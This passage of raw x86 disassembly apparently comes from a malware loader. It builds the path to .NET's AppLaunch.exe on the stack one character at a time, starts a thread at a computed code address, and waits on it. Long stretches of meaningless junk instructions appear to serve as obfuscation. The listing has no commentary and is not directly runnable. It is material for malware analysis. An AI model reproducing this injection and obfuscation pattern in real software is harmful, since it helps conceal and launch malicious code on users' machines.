mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409568
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401210
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
imul esi
bswap edi
sbb esi, 0x54
imul ebx
not ebx
sub esi, 0x4a
dec eax
dec ebx
and ebx, 0x81
bswap ebx
mov ebx, 0xff
imul ebx
rol eax, 0xf9
rol esi, 0xd6
rcr esi, 0x8a
inc esi
mov edx, 0x81
sub edx, 0x4e
mov eax, 0x58
sub eax, 0x76
or ebx, 0xdf
not ebx
and edi, 0x2e
rol eax, 0x50
dec esi
add esi, 0xab
neg esi
rol esi, 0xcc
bswap ebx
bswap esi
dec ebx
bswap edi
not esi
mov esi, 0xf2
rcl esi, 0x48
add edx, 0xc9
or edi, 0xe4
ror ebx, 6
sbb eax, 0xb7
mov eax, 0x89
and edi, 0xe7
rol esi, 0x76
rol esi, 0x45
sbb edx, 0x9a
and edi, 0x98
rcl esi, 0x78
and edx, 0x89
ror esi, 0x82
inc edx
bswap esi
add edi, 0xfc
bswap edi
not ebx
ror edi, 0xdb
mov edx, 0x23
neg edi
rol esi, 0xde
neg ebx
bswap ebx
or edx, 0x99
rcr edx, 0xc1
inc edi
dec edx
mov esi, 0x47
or edx, 0xc5
mov eax, 0x6b
neg edx
dec edx
neg edx
dec eax
add esi, 0x16
ror esi, 1
mov edx, 0xf8
rcl edx, 0xee
ror ebx, 0xbf
dec ebx
rcl edi, 0x16
imul edx
mov edi, 0x5a
sub edi, 0xd5
imul ebx
not ebx
and esi, 0x53
neg esi
bswap edi
inc ebx
imul edi
imul ebx
dec edi
ror edx, 0x3d
sub eax, 0xf1
bswap esi
imul eax
dec edx
not esi
rcr edx, 0x4e
mov eax, 0xe
not ebx
dec eax
sub edi, 0xcd
or ebx, 9
and eax, 0x56
ror edx, 0x7e
add eax, 0x97
or ebx, 0x20
or edi, 0x2a
or edx, 0x7d
imul esi
or esi, 0x38
inc ebx
add eax, 0x39
and edi, 0x3a
or eax, 0x1f
mov eax, 0x1e
rcr edi, 0x36
not eax
imul edx
sub edi, 0xbb
dec esi
rcl edi, 0x31
sub edi, 0xe0
neg eax
and ebx, 0x10
imul ebx
not edx
dec esi
add edi, 0x75
not edi
imul edx
dec eax
not edi
mov eax, 0x3c
bswap esi
neg esi
rcr ebx, 0x47
neg edi
neg esi
rcr esi, 0x7a
ror edx, 0x18
rcl esi, 0xd9
rcr eax, 0x19
or esi, 0
bswap edx
dec edi
bswap esi
ror edx, 0xa5
mov edi, 0x41
sub edx, 0x34
dec esi
neg eax
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x409773
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401210
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
not eax
rol edx, 0xa7
sbb edx, 7
or esi, 0x46
rol ebx, 0x7d
not edi
dec eax
rol edi, 0xea
rcl ebx, 0x63
neg edx
sub esi, 0x86
sub eax, 0xa6
dec ebx
not edi
or ebx, 0x43
ror edi, 0x63
sub edx, 0x96
not esi
not edi
and esi, 0x31
add eax, 0x25
bswap edx
inc edi
and ebx, 0x10
add ebx, 0x20
add edi, 0xbd
add esi, 0x7b
sub edx, 0xb7
ror edx, 0xfd
inc edx
rcl edx, 0x6c
sbb edx, 0x13
rcr edi, 0x16
not edi
not ebx
add eax, 0x76
dec eax
dec eax
dec edx
bswap ebx
rol edi, 0xd1
sbb esi, 0x22
sub eax, 0x73
rcl eax, 0x8b
neg edi
ror edi, 0xdd
imul edx
bswap edx
bswap edi
inc esi
neg esi
imul esi
not eax
bswap edi
sub ebx, 0x79
inc esi
rcr eax, 0x54
imul esi
rcr edi, 0xac
inc eax
add esi, 0x10
not eax
rcl ebx, 0x24
imul edx
not eax
rol esi, 0x5c
imul ebx
or edi, 0x2c
rcr ebx, 0xf3
imul edi
not edx
neg edi
not ebx
or esi, 0x5d
dec edx
inc eax
and eax, 0xb4
dec edi
dec eax
and edi, 0xaa
mov eax, 1
add ebx, 0xea
dec esi
rcr esi, 0xc0
sbb ebx, 0x51
mov ebx, 0x24
not edx
imul esi
sbb eax, 3
rcr ebx, 0xbf
add edx, 0x1a
mov eax, 0x37
neg esi
inc edi
or ebx, 0xb4
neg esi
rcr ebx, 0x6d
rcl edx, 0xfc
not edx
neg eax
neg esi
dec eax
mov edi, 0x1c
inc esi
neg ebx
rol edi, 0x8f
neg edx
dec esi
rol esi, 0x54
imul ebx
or eax, 0xbf
rol edx, 0xad
imul eax
add eax, 0xf9
sbb esi, 0xfe
sbb esi, 0x57
rcr edi, 0xa7
and ebx, 0xb5
imul ebx
imul ebx
ror edi, 0xc1
inc esi
imul ebx
sbb esi, 0xa6
imul esi
not edi
inc esi
sbb edx, 0xb8
dec esi
rcl ebx, 0xa5
rol edi, 0xe5
imul esi
sub esi, 0x44
sbb ebx, 0x96
bswap eax
neg ebx
sub edx, 0xf0
rcr ebx, 0x86
neg ebx
ror eax, 0x30
or esi, 0x10
neg eax
dec edi
rcl esi, 0x60
mov edx, 0xae
and eax, 0x5f
ror edx, 0x59
imul esi
and eax, 8
sbb esi, 0x35
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret